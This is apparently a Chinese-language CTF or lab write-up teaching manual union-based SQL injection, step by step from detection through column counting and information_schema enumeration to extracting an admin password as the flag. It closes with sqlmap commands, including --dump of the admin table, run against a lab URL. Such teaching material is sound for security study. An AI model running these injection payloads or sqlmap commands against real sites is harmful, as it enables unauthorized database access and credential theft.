sql注入的核心:将用户的输入拼接到代码中,并被当做sql语句执行
第一步;判断是否存在sql注入一般url栏中?表示传参例如判断是否存在注入:and 1=2(重点是看我们的输入是否有被当做代码执行)也可以用sleep()函数来判断是否存在注入(5表示延时五秒),也可以用减法来进行判断,例如id=2-1等,用加法时注意+要使用%2B代替,因为+有特殊含义。
存在注入就可以进行下一步
第二步:判断字段数order by 1(正常) order by 2(正常)order by 3(异常)说明仅仅存在两个字段
如上图所示order by 2 显示正常,order by 3显示异常即可判断存在两个字段
第三步:判断显错位 ?id=1.1 union select 1,2 因为是两个字段数所以select 1,2 三个就是select 1,2,3以此类推
union select 是MySQL数据库中的联合查询语句,联和查询前面的sql语句要和后面sql语句字段数一致,这个也是我们前面判断字段数的原因,
联和查询时需要让前面查询语句查询不出数据,从而显示我们后面联和查询的结果,id=1.1,是给个错误的id使前面语句查不出数据,从而使页面显示联合查询后面的数据。
如图可以看出显错位是第二位,接下来就可以把2替换为查询语句
第三步:查库名?id=1.1 union select 1,database()
得到库名为maoshe
接下来就可以继续查表名 union select 1,table_name from information_schema.tables where table_schema='maoshe' limit 0,1
information_schema.tables 是MySQL数据库中特有的表用来存数据库中所有表名,我们就可以利用这张表来查询我们需要的表名
limit 0,1 是用来限制输出的函数,0是输出第几位,从0开始0表示第一位,1是输出个数1表示一个,为什么要限制输出呢,主要是因为如果不限制输出,页面一般只显示默认的一个表,这样我们看不到其他表名,用limit 0,1 通过不断修改来依次查看查询出来的表名 limit 1,1 就是查看第二个,依次类推。
我们得到表名为admin,接下来查字段名union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 2,1 因为所需字段名在第三位里面所以limit 2,1
information_schema.columns同样是MySQL自带的存字段名的一张表
得到字段名为password最后一步查数据得到flag , union select 1,password from admin
得到flag 为hellohack
有些开发在传参是使用了 '' "" ('') ("") ,我们在注入时则要先对其进行闭合再写查询语句,后面还有对其后面内容进行注释掉,常见使用 ' " ') ")这四种方式来闭合,查询语句后面加上 -- q注意--和q 之间有一个空格 q 可以随便换
例如:语句为?id=1.1 union select 1,2,database() -- q 这里是有三个字段的
这里使用了') 进行闭合查询 ,在使用sqlmap是最好手动加上闭合例如:http://xxxx.com/xx.php/?id=1')
以上是手工注入的方法,接下来演示通过工具sqlmap来跑出flag
1.在sqlmap所在目录打开cmd输入 python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -risk 2 -level 3 -u 接网址 -risk 2 设定语句丰富度,-level 3 等级越高越完整
2. python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -risk 2 -level 3 --dbs
--dbs 跑库名
3. python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -risk 2 -level 3 -D maoshe --table
--tables 跑表名 -D 指定库
4.python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -risk 2 -level 3 -D maoshe -T admin --dump本应该接着使用--columns跑字段名,这里偷懒直接跑admin表里的数据 -T表示指定表, --dump表示跑数据(实战慎用)
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)